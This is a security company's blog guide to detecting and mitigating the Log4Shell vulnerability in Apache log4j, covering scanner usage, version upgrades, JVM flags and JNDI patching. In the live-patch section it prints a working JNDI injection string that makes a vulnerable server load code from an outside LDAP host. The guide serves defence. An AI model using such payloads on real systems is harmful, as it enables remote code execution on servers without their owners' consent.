Skip to main content

Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228 & CVE-2021-45046)

ยท 16 min read
Free Wortley
Chris Thompson
Forrest Allison

Log4Shell Logo

Originally Posted @ December 12th & Last Updated @ December 19th, 3:37pm PST

Also read: Our analysis of CVE-2021-45046 (a second log4j vulnerability).

A few days ago, a serious new vulnerability was identified in Apache log4j v2 and published as CVE-2021-44228. We were one of the first security companies to write about it, and we named it "Log4Shell".

This guide will help you:

  1. Find trusted sources for Log4Shell information
  2. Determine if you are impacted by Log4Shell
  3. Mitigate the Issue
info

If you're just trying to understand the Log4Shell vulnerability and the impact of it, please refer to our earlier blog post.

Be careful what Log4Shell advice you trust online

Because of the severe impact from this vulnerability, there has been a lot of discussion on the internet about it. Some of this information is outdated or wrong and will leave you vulnerable if you follow it!

By contrast, this guide has been written by a team of professional Security Engineers at LunaSec. Everything here has been peer-reviewed by multiple security experts, and where possible our sources will be linked for other Security professionals. This post links to many other guides and how-tos that we believe are trustworthy.

The full list of common bad advice is at the bottom of this post. If you believe you've already mitigated Log4Shell, or you believe you're not vulnerable, please double-check that your current information is up-to-date.

Determine if you are impacted by Log4Shell

This vulnerability affects anybody who's using the log4j packages. Java consequently is primarily affected, but other languages like Scala, Groovy, and Clojure are also impacted.

Automatically Scanning Your Package

We've built a command line utility for Mac, Windows, and Linux that can check your project's dependencies and report if any are vulnerable. It works by scanning for class files which belong to a known vulnerable Log4j version.

Download our log4shell scanner from GitHub.

Make sure you download the right version for your Operating System and CPU architecture. Once downloaded, run the log4shell command in your terminal. The tool can scan individual files, or whole directories. The Log4j versions our scanner identifies are kept up to date with all published CVEs, unlike some other scanners that may only scan for the first Log4j CVE. The tool also has built in penetration-testing and live-patching functions, explained later in this post.

On OSX you may need to move the binary to somewhere on the $PATH and make it executable.

OSX Installation Instructions
mv ~/downloads/log4shell_1.5.0-log4shell_Darwin_x86_64 /usr/local/bin/log4shell
sudo chmod +x /usr/local/bin/log4shell
Linux and OSX scan
log4shell scan your-project-dir/
Windows scan
log4shell.exe scan your-project-dir/
Virus Scanner False Positive

Because the tool contains exploit strings needed for the livepatch command, it might be falsely recognized as malware by some virus scanners on Windows. Please add an exception for it.

Scan a directory

$ log4shell scan test/vulnerable-log4j2-versions/apache
5:26AM Scan Result: Identified vulnerable path
cve: CVE-2021-44228
fileName: org/apache/logging/log4j/core/lookup/JndiLookup.class
hash: 39a495034d37c7934b64a9aa686ea06b61df21aa222044cc50a47d6903ba1ca8
path: test/vulnerable-log4j2-versions/apache/apache-log4j-2.0-beta9-bin/log4j-core-2.0-beta9.jar
severity: 10.0
versionInfo: "2.0.0-beta9, 2.0.0-rc1"

Scan a specific Java JAR file

$ log4shell scan test/vulnerable-log4j2-versions/apache/apache-log4j-2.14.0-bin/log4j-core-2.14.0.jar
5:28AM Scan Result: Identified vulnerable path
cve: CVE-2021-44228
fileName: org/apache/logging/log4j/core/net/JndiManager.class
hash: 77323460255818f4cbfe180141d6001bfb575b429e00a07cbceabd59adf334d6
path: test/vulnerable-log4j2-versions/apache/apache-log4j-2.14.0-bin/log4j-core-2.14.0.jar
severity: 10.0
versionInfo: "2.14.0, 2.14.1"
note

Please make sure that you're running this command on your fully built .jar or .war file. If you are using vendor software that you think might be vulnerable, but you can't get the .jar or .war files to scan yourself (or if they are obfuscated), then you'll need to check out the section on vendor software advisories instead.

The source code for this tool is available on our GitHub here.

Manually Scanning Your Dependencies

The above CLI tool automatically looks for hashes of vulnerable classes. Read this if you'd like to build your own tool or scan manually.

Scanning for vulnerable .class files

Our automated tool above implements this functionality, but if you need to do this yourself then our Go source code has a list of hashes that you can use to scan with. (Thank you, hillu!)

Scanning for the log4j JAR file

You may want to simply scan the filesystem for vulnerable copies of the log4j .jar file. We wrote a small shell script to accomplish that before writing the above CLI.

This is a less accurate method of detection as opposed to our automated scanner tool above because rather than inspecting inside your code, it requires the log4j .jar file to be present on your filesystem (not inside your built package). It does not recursively unpack .jar files. This works best if your dependencies are committed into your Repo, or if you're using a tool like Maven that downloads the .jar files for you.

If you're using Maven: The default directory that .jar files are downloaded to is ~/.m2. You may want to clear your cache, and then rebuild your project in order to limit false positives.

Setup

git clone https://github.com/lunasec-io/lunasec.git
cd lunasec/tools/log4shell-jar-scripts
./setup.sh

Run Scan

./find-bad-deps.sh /path/to/folder/to/scan

Checking Package Version

If you have the ability to check what versions of log4j are being used, you should update any below the recently published 2.17.0.

Limited vulnerability in 2.15.0 and 2.16.0

As of Tuesday, Dec 14, version 2.15.0 was found to still have a possible vulnerability in some apps. 2.16.0 was then found to have a very limited denial of service (DOS) vulnerability.

We recommend updating to 2.17.0 which includes a fix for the above issues.

log4j v2

Almost all versions of log4j version 2 are affected.

2.0-beta9 <= Apache log4j <= 2.14.1

In other words, if you're using any version of log4j that is older than 2.15.0, you are most likely vulnerable, and under very specific situations, still possibly vulnerable on 2.15.0.

log4j v1

Version 1 of log4j is vulnerable to other RCE attacks (like CVE-2019-17571), and if you're using it you need to migrate to 2.17.0.

Checking Vendor Software Versions

The above scanning tool may not work for vendor's packages due to obfuscation, and in any case, you'll likely need to contact the vendor for mitigation.

Luckily, many vendors have created their own documents to explain the impact of Log4Shell on their products, and an extensive list of those advisories is being compiled here.

If a vendor has not created an advisory for this, there currently does not exist a succinct list of which Vendor software has been affected. There is an effort by Kevin Beaumont to create a spreadsheet that attempts to capture this, but at the time of this post, that effort is still a work in progress.

Scanning Remote Endpoints

Please see our instructions to identify vulnerable remote servers in our original Log4Shell post.

How to Mitigate the Issue

Now that you know where you're vulnerable, the following sections will help you to figure out how to patch it.

This diagram created by the Swiss Government is an excellent visualization of the Log4Shell exploit. Take note of the possible solutions (shown in red), as we go over mitigation strategies.

log4shell 0day diagram

Option 1: Upgrading to 2.17.0

Apache log4j has released a version that fixes the Log4Shell vulnerability as of version 2.17.0. This version disables JNDI by default and removes the message lookup feature.

Apache log4j Download Page

We recommend you upgrade, if possible. For most people, this is the final and correct solution to the issue.

Version 2.15.0 and even 2.16.0 may be vulnerable

Log4j version 2.15.0 which was previously thought to be secure has been found to still have a limited vulnerability, that could result in a DOS (but not RCE). In certain logging circumstances a DOS vulnerability is still present in 2.16.0. Users should update to >= 2.17.0.

Option 2: Enable formatMsgNoLookups

This flag does not prevent all vulnerabilities

As of Dec 14, it's been found that this flag is ineffective at stopping RCE in some situations, explained here by log4j, and in CVE-2021-45046. We found the CVE wording confusing and are still investigating this vulnerability.

You must update to 2.17.0, or use the JNDI patches below.

The above release of log4j sets the formatMsgNoLookups flag to true by default, preventing the attack. If you are using log4j version 2.10.0 to version 2.14.0 and can't yet update, you can still set the flag manually.

Set formatMsgNoLookups=true when you configure log4j by performing one of the following:

Pass as a JVM Flag

You can pass this as an argument when you invoke java.

java -Dlog4j2.formatMsgNoLookups=true ...

Set Environment Variable

Alternatively, this feature may be set via Environment Variable.

LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ...

Or you can set this using the JVM arguments environment variable.

JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

Option 3: JNDI patch

It's possible to modify the JNDI in place to stop the attack at the language level. This can even be done while the server is running with tools like Log4jHotPatch (as a temporary mitigation before updating log4j).

This guide also explains how to apply the patch to Kubernetes services using "Ephemeral Containers" at runtime.

info

If you need a long-term solution for patching vendor software, please check out our commercial Live Patch service to mitigate Log4Shell and the next 0-day vulnerability automatically.

Option 4: Remote live patch for servers

Because of the extensive control Log4Shell gives an attacker, it's actually possible to use the bug against itself to patch a running server. This isn't the recommended strategy for various reasons, but it could be a last resort for systems that you can't easily restart or modify. Note that doing this on a system you don't have permission to is probably illegal. The fix will only work until the server (or the JVM), is restarted.

We have built a live-patching tool and a hosted live-patching server to make this easy. Please see our post about these tools to learn more.

Hosted Exploit Payload

${jndi:ldap://patch.log4shell.com:1389/a}

Using this will patch your server against future exploitation until it restarts. Simply paste the above line into a request field that your server logs. For example, in the main function when you start up your server, or in a known vulnerable field if it's a vendor product you depend on.

We have added this functionality to the latest release of our Log4Shell CLI tool if you'd prefer to run the server yourself instead.

Not a permanent solution!

Please do not rely on this forever. This should only be used as a stop-gap solution until you can apply a more permanent patch for Log4Shell. Scripts depending on our hosted solution could fail if our service ever goes down.

If you need a permanent solution for Log4Shell, please check out our commercial Live Patch service for a production-ready alternative.

How to protect yourself from future 0-days

It's becoming increasingly apparent that Log4Shell is not going to be the last vulnerability of its kind. Any trusted dependency can have security flaws or be malicious, and there is always the risk of accidentally introducing vulnerabilities into your own system.

The only way to implement software that is truly resilient to future security vulnerabilities like Log4Shell is to implement a "Secure by Default" architecture. This is what companies and the federal government are migrating to now because it's the only strategy that protects you long-term.

What is "Secure by Default"?

We've written about this before in our post on Why Data Breaches Happen, but the short version is: Accept that you're going to be hacked, and that the outer walls of your system will eventually be breached.

Build security into the parts of your system that specifically need it. Secure by Default software is designed to fail predictably under attack, so that the most sensitive data remains secure.

We've made implementing that as easy as possible with our Open Source security framework LunaSec. It works inside web apps, embedding an additional layer of isolation around the most sensitive data. Please leave us a star on GitHub.

Known Bad Advice

The following are all pieces of advice we've seen thrown around online that are misguided and dangerous. If you see advice online that contains any of the following, we please ask you to share this post with the authors to help limit the fallout from Log4Shell.

Updating Java is insufficient

There are many reports online that only certain Java versions are affected and that you're safe if you're on a newer Java version. Even on newer versions, it's still possible for an attacker to instantiate local classes on the server to trigger an exploit. And, even if no exploits are found right away, it still enables a Denial-of-Service attack when you're using a vulnerable version of log4j.

We believe it's likely only a matter of time before all current Java versions are impacted when running a vulnerable version of log4j. Just upgrading your Java version is insufficient, and you should not rely on this as a long-term defense against exploitation.

A WAF will not save you from Log4Shell

The Log4Shell vulnerability can not be entirely mitigated by using a WAF (Web Application Firewall), because it does not require your usage of it to be publicly accessible. Internal Data Pipelines, like Hadoop and Spark, and Desktop apps like the NSA's Ghidra will still be vulnerable.

In addition, there is no simple way to "filter out" malicious requests with a simple WAF rule because Log4Shell payloads may be nested. (See this GitHub for examples.)

If you are using a vulnerable version of log4j, the only secure way to mitigate Log4Shell is through one of the strategies detailed above.

Updating the log statement format with %m{nolookupzz} is not advisable

This only applies to log4j versions >= 2.7.0, older versions don't support it

warning

In addition to the below issues with this strategy, this mitigation may be bypassed in certain scenarios and still allows for RCE (see our dedicated post about it), and this has been entirely removed in log4j 2.16.0 and newer.

Some people online are suggesting updating your logging statements from %m to %m{nolookupzz} to mitigate this**.

The string is intentionally wrong here to prevent blind copy-pasting.

We do not recommend you follow this strategy. Even if you manage to patch your application 100% today, you will still likely accidentally add a %m again in the future and then you will be vulnerable again.

In addition, it's possible to miss a line in your logging statements, or have a dependency that is using log4j with %m without you realizing. If either happens you will still be vulnerable.

We're strong advocates of a "Secure by Default" mentality with software, and we recommend you follow one of the other mitigations instead.

Resources

OWASP Application Security Verification Standard

This is a design framework that's being developed by the Open Web Application Security Project (OWASP), to help standardize the levels of security that applications achieve. It provides a solid baseline for setting up a security roadmap for your application.

LunaSec Secure by Default Framework

Spoiler: Maintained by us.

An Open Source development framework that enables you to easily add a "Secure by Default" architecture to your existing software with only a few lines of code. It's loosely based on the OWASP Application Security Verification Standard (above), and is also designed to be adopted gradually.

Acra Database Protection

An Open Source database encryption library that helps you prevent data leaks by adding a layer of encryption to your data. It's designed and maintained by Cossack Labs, which also sells it as a commercial offering.

FullHunt log4j Scanner

This is a CLI tool to help you identify vulnerable log4j endpoints in your infrastructure. (Note: It's a new tool, so it might have bugs. Please file an issue if you find any!)

Stay In The Loop

If you're currently dealing with Log4Shell and would like to stay updated, please follow us on Twitter, or subscribe below to receive security updates as we post them.

Additional Information

We have published a series of posts about Log4Shell on our blog that you may be interested in:

Limited Offer: Free Security Assistance

We're also currently offering a free 30-minute consultation with one of our Security Engineers. If you're interested, please book some time with us here.

Stay Strong!

The last few days have been a painful experience for nearly every tech company out there. We hope that this guide helps your day be a little better.

If this post helped you, please share it with others to help them with Log4Shell too.

Feel free to join the discussion on this post on any of the following websites:

Updates

info

We're continuously keeping this post up-to-date as new information comes out. If you have any questions, or you're confused about our advice, please file an Issue on GitHub.

If you would like to contribute, or notice any errors, this post is an Open Source Markdown file on GitHub.

  1. Fixed some weird grammar.
  2. Added social links.
  3. Reworked some content and added more options for mitigation.
  4. Added warnings about limited vuln in 2.15 / noMsgFormatLookups.
  5. Added additional disclaimer about %m.
  6. Added link to 2nd CVE info.
  7. Added info about hot patching, and links to new releases.
  8. Updated info about patching strategies.
  9. Added links to other blog posts.
  10. Updated info about 2.16.0 CVE telling users to upgrade to 2.17.0.